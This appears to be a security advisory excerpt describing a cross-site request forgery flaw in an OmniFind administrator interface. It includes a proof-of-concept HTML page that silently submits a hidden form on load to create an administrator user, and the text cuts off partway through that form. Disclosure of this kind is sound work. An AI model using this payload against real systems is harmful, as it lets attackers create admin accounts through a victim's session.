                The forms in the administrator interface are not protected against XSRF. The 
attacker can do any action in the context of the victim. 

An example attack scenario could be:
The attacker creates a malicious website with a prepared form to add a new
user, which will be submitted on load. 


Exploit to add an admin user:
<html>
  <head><title>Some seemingly benign web-site</title></head>
  <body onLoad="document.forms[0].submit();">

    <form method="post"
  action="http://omnifind-host/ESAdmin/security.do">
      <input type="hidden" name="command" value="saveNewUser"/>
      <input type="hidden" name="user.name" value="joemueller"/>
      <input type="hidden" name="user.role" value="0"/>
      <input type="hidden" name="user.allCollections" value="true"/>
